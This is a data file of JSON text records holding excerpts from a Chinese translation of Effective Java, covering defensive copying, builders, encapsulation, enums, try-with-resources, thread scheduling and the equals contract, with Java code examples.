    {"text": "50. 必要时进行防御性拷贝.md 50. 必要时进行防御性拷贝.md 50. 必要时进行防御性拷贝 愉快使用 Java 的原因，它是一种安全的语言（safe language）。"},
    {"text": "这意味着在缺少本地方法（native methods）的情况下，它不受缓冲区溢出，数组溢出，野指针以及其他困扰 C 和 C++ 等不安全语言的内存损坏错误的影响。"},
    {"text": "随着人们更加努力地试图破坏系统的安全性，这种情况变得越来越真实，但更常见的是，你的类将不得不处理由于善意得程序员诚实错误而导致的意外行为。"},
    {"text": "例如，考虑以下类，表示一个不可变的时间期间: // Broken \"immutable\" time period class public final class Period { private final Date start; private final Date end; /** * @param start the beginning of the period * @param end the end of the period; must not precede start * @throws IllegalArgumentException if start is after end * @throws NullPointerException if start or end is null */ public Period (Date start, Date end) { if (start.compareTo(end) > 0 ) throw new IllegalArgumentException( start + \" after \" + end); this .start = start; this .end = end; } public Date start () { return start; } public Date end () { return end; } ... // Remainder omitted } 乍一看，这个类似乎是不可变的，并强制执行不变式，即 period 实例的开始时间并不在结束时间之后。 然而，利用 Date 类是可变的这一事实很容易违反这个不变式: // Attack the internals of a Period instance Date start = new Date(); Date end = new Date(); Period p = new Period(start, end); end.setYear( 78 ); // Modifies internals of p! 从 Java 8 开始，解决此问题的显而易见的方法是使用 Instant （或 LocalDateTime 或 ZonedDateTime ）代替 Date ，因为 Instant 和其他 java.time 包下的类是不可变的（条目 17）。"},
    {"text": "为了保护 Period 实例的内部不受这种攻击，必须将每个可变参数的防御性拷贝应用到构造方法中，并将拷贝用作 Period 实例的组件，以替代原始实例: // Repaired constructor - makes defensive copies of parameters public Period (Date start, Date end) { this .start = new Date(start.getTime()); this .end = new Date(end.getTime()); if ( this .start.compareTo( this .end) > 0 ) throw new IllegalArgumentException( this .start + \" after \" + this .end); } 有了新的构造方法后，前面的攻击将不会对 Period 实例产生影响。"},
    {"text": "因为 Date 是非 final 的，所以 clone 方法不能保证返回类为 java.util.Date 的对象,它可以返回一个不受信任的子类的实例，这个子类是专门为恶意破坏而设计的。"},
    {"text": "虽然替换构造方法成功地抵御了先前的攻击，但是仍然可以对 Period 实例进行修改，因为它的访问器提供了对其可变内部结构的访问: // Second attack on the internals of a Period instance Date start = new Date(); Date end = new Date(); Period p = new Period(start, end); p.end().setYear( 78 ); // Modifies internals of p! 为了抵御第二次攻击，只需修改访问器以返回可变内部字属性的防御性拷贝: // Repaired accessors - make defensive copies of internal fields public Date start () { return new Date(start.getTime()); } public Date end () { return new Date(end.getTime()); } 使用新的构造方法和新的访问器， Period 是真正不可变的。"},
    {"text": "无论程序员多么恶意或不称职，根本没有办法违反一个 period 实例的开头不跟随其结束的不变量（不使用诸如本地方法和反射之类的语言外方法）。"},
    {"text": "每次编写在内部数据结构中存储对客户端提供的对象的引用的方法或构造函数时，请考虑客户端提供的对象是否可能是可变的。 如果是，请考虑在将对象输入数据结构后，你的类是否可以容忍对象的更改。"},
    {"text": "例如，如果你正在考虑使用客户端提供的对象引用作为内部 set 实例中的元素或作为内部 map 实例中的键，您应该意识到如果对象被修改后插入，对象的 set 或 map 的不变量将被破坏。"},
    {"text": "总之，如果一个类有从它的客户端获取或返回的可变组件，那么这个类必须防御性地拷贝这些组件。 如果拷贝的成本太高，并且类信任它的客户端不会不适当地修改组件，则可以用文档替换防御性拷贝，该文档概述了客户端不得修改受影响组件的责任。"},
    {"text": "02. 当构造方法参数过多时使用builder模式.md 02. 当构造方法参数过多时使用builder模式.md 2. 当构造方法参数过多时使用 builder 模式 静态工厂和构造方法都有一个限制：它们不能很好地扩展到很多可选参数的情景。"},
    {"text": "这些标签有几个必需的属性——每次建议的摄入量，每罐的份量和每份卡路里 ，以及超过 20 个可选的属性——总脂肪、饱和脂肪、反式脂肪、胆固醇、钠等等。"},
    {"text": "传统上，程序员使用了可伸缩（telescoping constructor）构造方法模式，在这种模式中，只提供了一个只所需参数的构造函数，另一个只有一个可选参数，第三个有两个可选参数，等等，最终在构造函数中包含所有可选参数。"},
    {"text": "为了简便起见，只显示了四个可选属性： // Telescoping constructor pattern - does not scale well! public class NutritionFacts { private final int servingSize; // (mL) required private final int servings; // (per container) required private final int calories; // (per serving) optional private final int fat; // (g/serving) optional private final int sodium; // (mg/serving) optional private final int carbohydrate; // (g/serving) optional public NutritionFacts ( int servingSize, int servings) { this (servingSize, servings, 0 ); } public NutritionFacts ( int servingSize, int servings, int calories) { this (servingSize, servings, calories, 0 ); } public NutritionFacts ( int servingSize, int servings, int calories, int fat) { this (servingSize, servings, calories, fat, 0 ); } public NutritionFacts ( int servingSize, int servings, int calories, int fat, int sodium) { this (servingSize, servings, calories, fat, sodium, 0 ); } public NutritionFacts ( int servingSize, int servings, int calories, int fat, int sodium, int carbohydrate) { this .servingSize = servingSize; this .servings = servings; this .calories = calories; this .fat = fat; this .sodium = sodium; this .carbohydrate = carbohydrate; } } 当想要创建一个实例时，可以使用包含所有要设置的参数的最短参数列表的构造方法： NutritionFacts cocaCola = new NutritionFacts( 240 , 8 , 100 , 0 , 35 , 27 ); 通常情况下，这个构造方法的调用需要许多你不想设置的参数，但是你不得不为它们传递一个值。"},
    {"text": "当在构造方法中遇到许多可选参数时，另一种选择是 JavaBeans 模式，在这种模式中，调用一个无参数的构造函数来创建对象，然后调用 setter 方法来设置每个必需的参数和可选参数： // JavaBeans Pattern - allows inconsistency, mandates mutability public class NutritionFacts { // Parameters initialized to default values (if any) private int servingSize = - 1 ; // Required; no default value private int servings = - 1 ; // Required; no default value private int calories = 0 ; private int fat = 0 ; private int sodium = 0 ; private int carbohydrate = 0 ; public NutritionFacts () { } // Setters public void setServingSize ( int val) { servingSize = val; } public void setServings ( int val) { servings = val; } public void setCalories ( int val) { calories = val; } public void setFat ( int val) { fat = val; } public void setSodium ( int val) { sodium = val; } public void setCarbohydrate ( int val) { carbohydrate = val; } } 这种模式没有伸缩构造方法模式的缺点。"},
    {"text": "有点冗长，但创建实例很容易，并且易于阅读所生成的代码: NutritionFacts cocaCola = new NutritionFacts(); cocaCola.setServingSize( 240 ); cocaCola.setServings( 8 ); cocaCola.setCalories( 100 ); cocaCola.setSodium( 35 ); cocaCola.setCarbohydrate( 27 ); 不幸的是，JavaBeans 模式本身有严重的缺陷。"},
    {"text": "以下是它在实践中的示例： // Builder Pattern public class NutritionFacts { private final int servingSize; private final int servings; private final int calories; private final int fat; private final int sodium; private final int carbohydrate; public static class Builder { // Required parameters private final int servingSize; private final int servings; // Optional parameters - initialized to default values private int calories = 0 ; private int fat = 0 ; private int sodium = 0 ; private int carbohydrate = 0 ; public Builder ( int servingSize, int servings) { this .servingSize = servingSize; this .servings = servings; } public Builder calories ( int val) { calories = val; return this ; } public Builder fat ( int val) { fat = val; return this ; } public Builder sodium ( int val) { sodium = val; return this ; } public Builder carbohydrate ( int val) { carbohydrate = val; return this ; } public NutritionFacts build () { return new NutritionFacts( this ); } } private NutritionFacts (Builder builder) { servingSize = builder.servingSize; servings = builder.servings; calories = builder.calories; fat = builder.fat; sodium = builder.sodium; carbohydrate = builder.carbohydrate; } } NutritionFacts 类是不可变的，所有的参数默认值都在一个地方。"},
    {"text": "下面是客户端代码的示例： NutritionFacts cocaCola = new NutritionFacts.Builder( 240 , 8 ) .calories( 100 ).sodium( 35 ).carbohydrate( 27 ).build(); 这个客户端代码很容易编写，更重要的是易于阅读。"},
    {"text": "例如，考虑代表各种比萨饼的根层次结构的抽象类： // Builder pattern for class hierarchies import java.util.EnumSet; import java.util.Objects; import java.util.Set; public abstract class Pizza { public enum Topping {HAM, MUSHROOM, ONION, PEPPER, SAUSAGE} final Set<Topping> toppings; abstract static class Builder < T extends Builder < T >> { EnumSet<Topping> toppings = EnumSet.noneOf(Topping.class); public T addTopping (Topping topping) { toppings.add(Objects.requireNonNull(topping)); return self(); } abstract Pizza build () ; // Subclasses must override this method to return \"this\" protected abstract T self () ; } Pizza(Builder<?> builder) { toppings = builder.toppings.clone(); // See Item 50 } } 请注意， Pizza.Builder 是一个带有递归类型参数（ recursive type parameter）（条目 30）的泛型类型。"},
    {"text": "前者有一个所需的尺寸参数，而后者则允许指定酱汁是否应该在里面或在外面： import java.util.Objects; public class NyPizza extends Pizza { public enum Size { SMALL, MEDIUM, LARGE } private final Size size; public static class Builder extends Pizza . Builder < Builder > { private final Size size; public Builder (Size size) { this .size = Objects.requireNonNull(size); } @Override public NyPizza build () { return new NyPizza( this ); } @Override protected Builder self () { return this ; } } private NyPizza (Builder builder) { super (builder); size = builder.size; } } public class Calzone extends Pizza { private final boolean sauceInside; public static class Builder extends Pizza . Builder < Builder > { private boolean sauceInside = false ; // Default public Builder sauceInside () { sauceInside = true ; return this ; } @Override public Calzone build () { return new Calzone( this ); } @Override protected Builder self () { return this ; } } private Calzone (Builder builder) { super (builder); sauceInside = builder.sauceInside; } } 请注意，每个子类 builder 中的 build 方法被声明为返回正确的子类： NyPizza.Builder 的 build 方法返回 NyPizza ，而 Calzone.Builder 中的 build 方法返回 Calzone 。"},
    {"text": "为了简洁起见,下面显示的示例客户端代码假设枚举常量的静态导入： NyPizza pizza = new NyPizza.Builder(SMALL) .addTopping(SAUSAGE).addTopping(ONION).build(); Calzone calzone = new Calzone.Builder() .addTopping(HAM).sauceInside().build(); builder 对构造方法的一个微小的优势是，builder 可以有多个可变参数，因为每个参数都是在它自己的方法中指定的。"},
    {"text": "Builder 模式非常灵活。 单个 builder 可以重复使用来构建多个对象。 builder 的参数可以在构建方法的调用之间进行调整，以改变创建的对象。 builder 可以在创建对象时自动填充一些属性，例如每次创建对象时增加的序列号。"},
    {"text": "16. 在公共类中使用访问方法而不是公共属性.md 16. 在公共类中使用访问方法而不是公共属性.md 16. 在公共类中使用访问方法而不是公共属性 有时候，你可能会试图写一些退化的类（ degenerate classes ），除了集中实例属性之外别无用处： // Degenerate classes like this should not be public! class Point { public double x; public double y; } 由于这些类的数据属性可以直接被访问，因此这些类不提供封装的好处（条目 15）。 如果不更改 API，则无法更改其表示形式，无法强制执行不变量，并且在访问属性时无法执行辅助操作。 坚持面向对象的程序员觉得这样的类是厌恶的，应该被具有私有属性和公共访问方法的类（getter）所取代，而对于可变类来说，它们应该被替换为 setter 设值方法： // Encapsulation of data by accessor methods and mutators class Point { private double x; private double y; public Point ( double x, double y) { this .x = x; this .y = y; } public double getX () { return x; } public double getY () { return y; } public void setX ( double x) { this .x = x; } public void setY ( double y) { this .y = y; } } 当然，对于公共类来说，坚持面向对象是正确的： 如果一个类在其包之外是可访问的，则提供访问方法来保留更改类内部表示的灵活性。 如果一个公共类暴露其数据属性，那么以后更改其表示形式基本上没有可能，因为客户端代码可以散布在很多地方。 但是， 如果一个类是包级私有的，或者是一个私有的内部类，那么暴露它的数据属性就没有什么本质上的错误——假设它们提供足够描述该类提供的抽象。 在类定义和使用它的客户端代码中，这种方法比访问方法产生更少的视觉混乱。 虽然客户端代码绑定到类的内部表示，但是这些代码仅限于包含该类的包。 如果类的内部表示是可取的，可以在不触碰包外的任何代码的情况下进行更改。 在私有内部类的情况下，更改作用范围进一步限制在封闭类中。 Java 平台类库中的几个类违反了公共类不应直接暴露属性的建议。 着名的例子包括 java.awt 包中的 Point 和 Dimension 类。 这些类别应该被视为警示性的示例，而不是模仿的例子。 如条目 67 所述，暴露 Dimension 的内部结构的决定是一个严重的性能问题，这个问题在今天仍然存在。 虽然公共类直接暴露属性并不是一个好主意，但是如果属性是不可变的，那么危害就不那么大了。当一个属性是只读的时候，除了更改类的 API 外，你不能改变类的内部表示形式，也不能采取一些辅助的行为，但是可以加强不变性。例如，下面的例子中保证每个实例表示一个有效的时间： // Public class with exposed immutable fields - questionable public final class Time { private static final int HOURS_PER_DAY = 24 ; private static final int MINUTES_PER_HOUR = 60 ; public final int hour; public final int minute; public Time ( int hour, int minute) { if (hour < 0 || hour >= HOURS_PER_DAY) throw new IllegalArgumentException( \"Hour: \" + hour); if (minute < 0 || minute >= MINUTES_PER_HOUR) throw new IllegalArgumentException( \"Min: \" + minute); this .hour = hour; this .minute = minute; } ... // Remainder omitted } 总之，公共类不应该暴露可变属性。 公共累暴露不可变属性的危害虽然仍然存在问题，但其危害较小。 然而，有时需要包级私有或私有内部类来暴露属性，无论此类是否是可变的。 35. 使用实例属性替代序数.md 35. 使用实例属性替代序数.md 35. 使用实例属性替代序数 许多枚举通常与单个 int 值关联。所有枚举都有一个 ordinal 方法，它返回每个枚举常量类型的数值位置。你可能想从序数中派生一个关联的 int 值： // Abuse of ordinal to derive an associated value - DON'T DO THIS public enum Ensemble { SOLO, DUET, TRIO, QUARTET, QUINTET, SEXTET, SEPTET, OCTET, NONET, DECTET; public int numberOfMusicians () { return ordinal() + 1 ; } } 虽然这个枚举能正常工作，但对于维护来说则是一场噩梦。如果常量被重新排序， numberOfMusicians 方法将会中断。 如果你想添加一个与你已经使用的 int 值相关的第二个枚举常量，则没有那么好运了。 例如，为双四重奏（double quartet）添加一个常量可能会很好，它就像八重奏一样，由 8 位演奏家组成，但是没有办法做到这一点。 此外，如果没有给所有这些 int 值添加常量，也不能为某个 int 值添加一个常量。例如，假设你想要添加一个常量，表示一个由 12 位演奏家组成的三重四重奏（triple quartet）。对于由 11 个演奏家组成的合奏曲，并没有标准的术语，因此你不得不为未使用的 int 值（11）添加一个虚拟常量（dummy constant）。最多看起来就是有些不好看。如果许多 int 值是未使用的，则是不切实际的。 幸运的是，这些问题有一个简单的解决方案。 永远不要从枚举的序号中得出与它相关的值; 请将其保存在实例属性中： public enum Ensemble { SOLO( 1 ), DUET( 2 ), TRIO( 3 ), QUARTET( 4 ), QUINTET( 5 ), SEXTET( 6 ), SEPTET( 7 ), OCTET( 8 ), DOUBLE_QUARTET( 8 ), NONET( 9 ), DECTET( 10 ), TRIPLE_QUARTET( 12 ); private final int numberOfMusicians; Ensemble( int size) { this .numberOfMusicians = size; } public int numberOfMusicians () { return numberOfMusicians; } } 枚举规范对此 ordinal 方法说道：“大多数程序员对这种方法没有用处。 它被设计用于基于枚举的通用数据结构，如 EnumSet 和 EnumMap 。“除非你在编写这样数据结构的代码，否则最好避免使用 ordinal 方法。"},
    {"text": "22. 接口仅用来定义类型.md 22. 接口仅用来定义类型.md 22. 接口仅用来定义类型 当类实现接口时，该接口作为一种类型（type），可以用来引用类的实例。因此，一个类实现了一个接口，因此表明客户端可以如何处理类的实例。为其他目的定义接口是不合适的。 一种失败的接口就是所谓的常量接口（constant interface）。 这样的接口不包含任何方法; 它只包含静态 final 属性，每个输出一个常量。 使用这些常量的类实现接口，以避免需要用类名限定常量名。 这里是一个例子： // Constant interface antipattern - do not use! public interface PhysicalConstants { // Avogadro's number (1/mol) static final double AVOGADROS_NUMBER = 6.022_140_857e23 ; // Boltzmann constant (J/K) static final double BOLTZMANN_CONSTANT = 1.380_648_52e-23 ; // Mass of the electron (kg) static final double ELECTRON_MASS = 9.109_383_56e-31 ; } 常量接口模式是对接口的糟糕使用。 类在内部使用一些常量，完全属于实现细节。实现一个常量接口会导致这个实现细节泄漏到类的导出 API 中。对类的用户来说，类实现一个常量接口是没有意义的。事实上，它甚至可能使他们感到困惑。更糟糕的是，它代表了一个承诺：如果在将来的版本中修改了类，不再需要使用常量，那么它仍然必须实现接口，以确保二进制兼容性。如果一个非 final 类实现了常量接口，那么它的所有子类的命名空间都会被接口中的常量所污染。 Java 平台类库中有多个常量接口，如 java.io.ObjectStreamConstants。 这些接口应该被视为不规范的，不应该被效仿。 如果你想导出常量，有几个合理的选择方案。 如果常量与现有的类或接口紧密相关，则应将其添加到该类或接口中。 例如，所有数字基本类型的包装类，如 Integer 和 Double ，都会导出 MIN_VALUE 和 MAX_VALUE 常量。 如果常量最好被看作枚举类型的成员，则应该使用枚举类型（条目 34）导出它们。 否则，你应该用一个不可实例化的工具类来导出常量（条目 4）。 下是前面所示的 PhysicalConstants 示例的工具类的版本： // Constant utility class package com.effectivejava.science; public class PhysicalConstants { private PhysicalConstants () { } // Prevents instantiation public static final double AVOGADROS_NUMBER = 6.022_140_857e23 ; public static final double BOLTZMANN_CONST = 1.380_648_52e-23 ; public static final double ELECTRON_MASS = 9.109_383_56e-31 ; } 顺便提一下，请注意在数字文字中使用下划线字符（_）。 从 Java 7 开始，合法的下划线对数字字面量的值没有影响，但是如果使用得当的话可以使它们更容易阅读。 无论是固定的浮点数，如果他们包含五个或更多的连续数字，考虑将下划线添加到数字字面量中。 对于底数为 10 的数字，无论是整型还是浮点型的，都应该用下划线将数字分成三个数字组，表示一千的正负幂。 通常，实用工具类要求客户端使用类名来限定常量名，例如 PhysicalConstants.AVOGADROS_NUMBER 。 如果大量使用实用工具类导出的常量，则通过使用静态导入来限定具有类名的常量： // Use of static import to avoid qualifying constants import static com.effectivejava.science.PhysicalConstants.*; public class Test { double atoms ( double mols) { return AVOGADROS_NUMBER * mols; } ... // Many more uses of PhysicalConstants justify static import } 总之，接口只能用于定义类型。 它们不应该仅用于导出常量。"},
    {"text": "09. 使用try-with-resources语句替代try-finally语句.md 09. 使用try-with-resources语句替代try-finally语句.md 9. 使用 try-with-resources 语句替代 try-finally 语句 Java 类库中包含许多必须通过调用 close 方法手动关闭的资源。 比如 InputStream ， OutputStream 和 java.sql.Connection 。 客户经常忽视关闭资源，其性能结果可想而知。 尽管这些资源中有很多使用 finalizer 机制作为安全网，但 finalizer 机制却不能很好地工作（条目 8）。 从以往来看，try-finally 语句是保证资源正确关闭的最佳方式，即使是在程序抛出异常或返回的情况下： // try-finally - No longer the best way to close resources! static String firstLineOfFile (String path) throws IOException { BufferedReader br = new BufferedReader( new FileReader(path)); try { return br.readLine(); } finally { br.close(); } } 这可能看起来并不坏，但是当添加第二个资源时，情况会变得更糟： // try-finally is ugly when used with more than one resource! static void copy (String src, String dst) throws IOException { InputStream in = new FileInputStream(src); try { OutputStream out = new FileOutputStream(dst); try { byte [] buf = new byte [BUFFER_SIZE]; int n; while ((n = in.read(buf)) >= 0 ) out.write(buf, 0 , n); } finally { out.close(); } } finally { in.close(); } } 这可能很难相信，但即使是优秀的程序员，大多数时候也会犯错误。首先，我在 Java Puzzlers[Bloch05] 的第 88 页上弄错了，多年来没有人注意到。事实上，2007 年 Java 类库中使用 close 方法的三分之二都是错误的。 即使是用 try-finally 语句关闭资源的正确代码，如前面两个代码示例所示，也有一个微妙的缺陷。 try-with-resources 块和 finally 块中的代码都可以抛出异常。 例如，在 firstLineOfFile 方法中，由于底层物理设备发生故障，对 readLine 方法的调用可能会引发异常，并且由于相同的原因，调用 close 方法可能会失败。 在这种情况下，第二个异常完全冲掉了第一个异常。 在异常堆栈跟踪中没有第一个异常的记录，这可能使实际系统中的调试非常复杂——通常这是你想要诊断问题的第一个异常。 虽然可以编写代码来抑制第二个异常，但是实际上没有人这样做，因为它太冗长了。 当 Java 7 引入了 try-with-resources 语句时，所有这些问题一下子都得到了解决[JLS,14.20.3]。要使用这个构造，资源必须实现 AutoCloseable 接口，该接口由一个返回为 void 的 close 组成。Java 类库和第三方类库中的许多类和接口现在都实现或继承了 AutoCloseable 接口。如果你编写的类表示必须关闭的资源，那么这个类也应该实现 AutoCloseable 接口。 以下是我们的第一个使用 try-with-resources 的示例： // try-with-resources - the the best way to close resources! static String firstLineOfFile (String path) throws IOException { try (BufferedReader br = new BufferedReader( new FileReader(path))) { return br.readLine(); } } 以下是我们的第二个使用 try-with-resources 的示例： // try-with-resources on multiple resources - short and sweet static void copy (String src, String dst) throws IOException { try (InputStream in = new FileInputStream(src); OutputStream out = new FileOutputStream(dst)) { byte [] buf = new byte [BUFFER_SIZE]; int n; while ((n = in.read(buf)) >= 0 ) out.write(buf, 0 , n); } } 不仅 try-with-resources 版本比原始版本更精简，更好的可读性，而且它们提供了更好的诊断。 考虑 firstLineOfFile 方法。 如果调用 readLine 和（不可见） close 方法都抛出异常，则后一个异常将被抑制（suppressed），而不是前者。 事实上，为了保留你真正想看到的异常，可能会抑制多个异常。 这些抑制的异常没有被抛弃， 而是打印在堆栈跟踪中，并标注为被抑制了。 你也可以使用 getSuppressed 方法以编程方式访问它们，该方法在 Java 7 中已添加到的 Throwable 中。 可以在 try-with-resources 语句中添加 catch 子句，就像在常规的 try-finally 语句中一样。这允许你处理异常，而不会在另一层嵌套中污染代码。作为一个稍微有些做作的例子，这里有一个版本的 firstLineOfFile 方法，它不会抛出异常，但是如果它不能打开或读取文件，则返回默认值： // try-with-resources with a catch clause static String firstLineOfFile (String path, String defaultVal) { try (BufferedReader br = new BufferedReader( new FileReader(path))) { return br.readLine(); } catch (IOException e) { return defaultVal; } } 结论明确：在处理必须关闭的资源时，使用 try-with-resources 语句替代 try-finally 语句。 生成的代码更简洁，更清晰，并且生成的异常更有用。 try-with-resources 语句在编写必须关闭资源的代码时会更容易，也不会出错，而使用 try-finally 语句实际上是不可能的。"},
    {"text": "84. 不要依赖线程调度器.md 84. 不要依赖线程调度器.md 84. 不要依赖线程调度器 当许多线程可以运行时，线程调度器决定哪些线程可以运行以及运行多长时间。任何合理的操作系统都会尝试公平地做出这个决定，但是策略可能会有所不同。因此，编写良好的程序不应该依赖于此策略的细节。 任何依赖线程调度器来保证正确性或性能的程序都可能是不可移植的。 编写健壮、响应快、可移植程序的最佳方法是确保可运行线程的平均数量不显著大于处理器的数量。这使得线程调度器几乎没有选择：它只运行可运行线程，直到它们不再可运行为止。即使在完全不同的线程调度策略下，程序的行为也没有太大的变化。注意，可运行线程的数量与线程总数不相同，后者可能更高。正在等待的线程不可运行。 保持可运行线程数量低的主要技术是让每个线程做一些有用的工作，然后等待更多的工作。 如果线程没有做有用的工作，它们就不应该运行。 对于 Executor 框架（详见第 80 条），这意味着适当调整线程池的大小 [Goetz06, 8.2]，并保持任务短小（但不要太短），否则分派开销依然会损害性能。 线程不应该处于 busy 到 wait 的循环，而应该反复检查一个共享对象，等待它的状态发生变化。除了使程序容易受到线程调度器变化无常的影响之外，繁忙等待还大大增加了处理器的负载，还影响其他人完成工作。作为反面的极端例子，考虑一下 CountDownLatch 的不正确的重构实现： // Awful CountDownLatch implementation - busy-waits incessantly! public class SlowCountDownLatch { private int count; public SlowCountDownLatch ( int count) { if (count < 0 ) throw new IllegalArgumentException(count + \" < 0\" ); this .count = count; } public void await () { while ( true ) { synchronized ( this ) { if (count == 0 ) return ; } } } public synchronized void countDown () { if (count != 0 ) count--; } } 在我的机器上，当 1000 个线程等待一个锁存器时，SlowCountDownLatch 的速度大约是 Java 的 CountDownLatch 的 10 倍。虽然这个例子看起来有点牵强，但是具有一个或多个不必要运行的线程的系统并不少见。性能和可移植性可能会受到影响。 当面对一个几乎不能工作的程序时，而原因是由于某些线程相对于其他线程没有获得足够的 CPU 时间，那么 通过调用 Thread.yield 来「修复」程序 你也许能勉强让程序运行起来，但它是不可移植的。在一个 JVM 实现上提高性能的相同的 yield 调用，在第二个 JVM 实现上可能会使性能变差，而在第三个 JVM 实现上可能没有任何影响。 Thread.yield 没有可测试的语义。 更好的做法是重构应用程序，以减少并发运行线程的数量。 一个相关的技术是调整线程优先级，类似的警告也适用于此技术，即，线程优先级是 Java 中最不可移植的特性之一。通过调整线程优先级来调优应用程序的响应性并非不合理，但很少情况下是必要的，而且不可移植。试图通过调整线程优先级来解决严重的活性问题是不合理的。在找到并修复潜在原因之前，问题很可能会再次出现。 总之，不要依赖线程调度器来判断程序的正确性。生成的程序既不健壮也不可移植。因此，不要依赖 Thread.yield 或线程优先级。这些工具只是对调度器的提示。线程优先级可以少量地用于提高已经工作的程序的服务质量，但绝不应该用于「修复」几乎不能工作的程序。"},
    {"text": "10. 重写equals方法时遵守通用约定.md 10. 重写equals方法时遵守通用约定.md 10. 重写 equals 方法时遵守通用约定 虽然 Object 是一个具体的类，但它主要是为继承而设计的。"},
    {"text": "例如 java.util.regex.Pattern 可以重写 equals 方法检查两个是否代表完全相同的正则表达式 Pattern 实例，但是设计者并不认为客户需要或希望使用此功能。"},
    {"text": "如果你非常厌恶风险，可以重写 equals 方法，以确保不会被意外调用： @Override public boolean equals (Object o) { throw new AssertionError(); // Method is never called } 什么时候需要重写 equals 方法呢？"},
    {"text": "它有以下这些属性: 自反性： 对于任何非空引用 x， x.equals(x) 必须返回 true。 对称性： 对于任何非空引用 x 和 y，如果且仅当 y.equals(x) 返回 true 时 x.equals(y) 必须返回 true。 传递性： 对于任何非空引用 x、y、z，如果 x.equals(y) 返回 true， y.equals(z) 返回 true，则 x.equals(z) 必须返回 true。 一致性： 对于任何非空引用 x 和 y，如果在 equals 比较中使用的信息没有修改，则 x.equals(y) 的多次调用必须始终返回 true 或始终返回 false。 对于任何非空引用 x， x.equals(null) 必须返回 false。"},
    {"text": "字符串被 toString 保存，但在 equals 比较中被忽略： import java.util.Objects; public final class CaseInsensitiveString { private final String s; public CaseInsensitiveString (String s) { this .s = Objects.requireNonNull(s); } // Broken - violates symmetry! @Override public boolean equals (Object o) { if (o instanceof CaseInsensitiveString) return s.equalsIgnoreCase( ((CaseInsensitiveString) o).s); if (o instanceof String) // One-way interoperability! return s.equalsIgnoreCase((String) o); return false ; } ... // Remainder omitted } 上面类中的 equals 试图与正常的字符串进行操作，假设我们有一个不区分大小写的字符串和一个正常的字符串： CaseInsensitiveString cis = new CaseInsensitiveString( \"Polish\" ); String s = \"polish\" ; System.out.println(cis.equals(s)); // true System.out.println(s.equals(cis)); // false 正如所料， cis.equals(s) 返回 true。 问题是，尽管 CaseInsensitiveString 类中的 equals 方法知道正常字符串，但 String 类中的 equals 方法却忽略了不区分大小写的字符串。"},
    {"text": "假设把一个不区分大小写的字符串放入一个集合中： List<CaseInsensitiveString> list = new ArrayList<>(); list.add(cis);List<CaseInsensitiveString> list = new ArrayList<>(); list.add(cis); list.contains(s) 返回了什么？"},
    {"text": "这样做之后，可以将该方法重构为单个返回语句: @Override public boolean equals (Object o) { return o instanceof CaseInsensitiveString && ((CaseInsensitiveString) o).s.equalsIgnoreCase(s); } 传递性（Transitivity） ——equals 约定的第三个要求是，如果第一个对象等于第二个对象，第二个对象等于第三个对象，那么第一个对象必须等于第三个对象。"},
    {"text": "让我们从一个简单不可变的二维整数类型 Point 类开始： public class Point { private final int x; private final int y; public Point ( int x, int y) { this .x = x; this .y = y; } @Override public boolean equals (Object o) { if (!(o instanceof Point)) return false ; Point p = (Point) o; return p.x == x && p.y == y; } ... // Remainder omitted } 假设想继承这个类，将表示颜色的 Color 类添加到 Point 类中： public class ColorPoint extends Point { private final Color color; public ColorPoint ( int x, int y, Color color) { super (x, y); this .color = color; } ... // Remainder omitted } equals 方法应该是什么样子?如果完全忽略，则实现是从 Point 类上继承的，颜色信息在 equals 方法比较中被忽略。"},
    {"text": "假设你写了一个 equals 方法，它只在它的参数是另一个具有相同位置和颜色的 ColorPoint 实例时返回 true： // Broken - violates symmetry! @Override public boolean equals (Object o) { if (!(o instanceof ColorPoint)) return false ; return super .equals(o) && ((ColorPoint) o).color == color; } 当你比较 Point 对象和 ColorPoint 对象时，可以会得到不同的结果，反之亦然。"},
    {"text": "为了让问题更加具体，我们创建一个 Point 对象和 ColorPoint 对象： Point p = new Point( 1 , 2 ); ColorPoint cp = new ColorPoint( 1 , 2 , Color.RED); p.equals(cp) 返回 true，但是 cp.equals(p) 返回 false。"},
    {"text": "@Override public boolean equals (Object o) { if (!(o instanceof Point)) return false ; // If o is a normal Point, do a color-blind comparison if (!(o instanceof ColorPoint)) return o.equals( this ); // o is a ColorPoint; do a full comparison return super .equals(o) && ((ColorPoint) o).color == color; } 这种方法确实提供了对称性，但是丧失了传递性： ColorPoint p1 = new ColorPoint( 1 , 2 , Color.RED); Point p2 = new Point( 1 , 2 ); ColorPoint p3 = new ColorPoint( 1 , 2 , Color.BLUE); 现在， p1.equals(p2) 和 p2.equals(p3) 返回了 true，但是 p1.equals(p3) 却返回了 false，很明显违背了传递性的要求。"},
    {"text": "除非您愿意放弃面向对象抽象的好处，否则无法继承可实例化的类，并在保留 equals 约定的同时添加一个值组件。 你可能听说过，可以继承一个可实例化的类并添加一个值组件，同时通过在 equals 方法中使用一个 getClass 测试代替 instanceof 测试来保留 equals 约定： @Override public boolean equals (Object o) { if (o == null || o.getClass() != getClass()) return false ; Point p = (Point) o; return p.x == x && p.y == y; } 只有当对象具有相同的实现类时，才会产生相同的效果。"},
    {"text": "这看起来可能不是那么糟糕，但是结果是不可接受的:一个 Point 类子类的实例仍然是一个 Point 的实例，它仍然需要作为一个 Point 来运行，但是如果你采用这个方法，就会失败！"},
    {"text": "我们可以这样做： private static final Set<Point> unitCircle = Set.of( new Point( 1 , 0 ), new Point( 0 , 1 ), new Point(- 1 , 0 ), new Point( 0 , - 1 )); public static boolean onUnitCircle (Point p) { return unitCircle.contains(p); } 虽然这可能不是实现功能的最快方法，但它可以正常工作。"},
    {"text": "假设以一种不添加值组件的简单方式继承 Point 类，比如让它的构造方法跟踪记录创建了多少实例： public class CounterPoint extends Point { private static final AtomicInteger counter = new AtomicInteger(); public CounterPoint ( int x, int y) { super (x, y); counter.incrementAndGet(); } public static int numberCreated () { return counter.get(); } } 里氏替代原则（ Liskov substitution principle）指出，任何类型的重要属性都应该适用于所有的子类型，因此任何为这种类型编写的方法都应该在其子类上同样适用[Liskov87]。"},
    {"text": "如果 Point 类使用基于 getClass 的 equals 方法，则无论 CounterPoint 实例的 x 和 y 坐标如何，onUnitCircle 方法都将返回 false。 这是因为大多数集合（包括 onUnitCircle 方法使用的 HashSet）都使用 equals 方法来测试是否包含元素，并且 CounterPoint 实例并不等于任何 Point 实例。 但是，如果在 Point 上使用了适当的基于 instanceof 的 equals 方法，则在使用 CounterPoint 实例呈现时，同样的 onUnitCircle 方法可以正常工作。"},
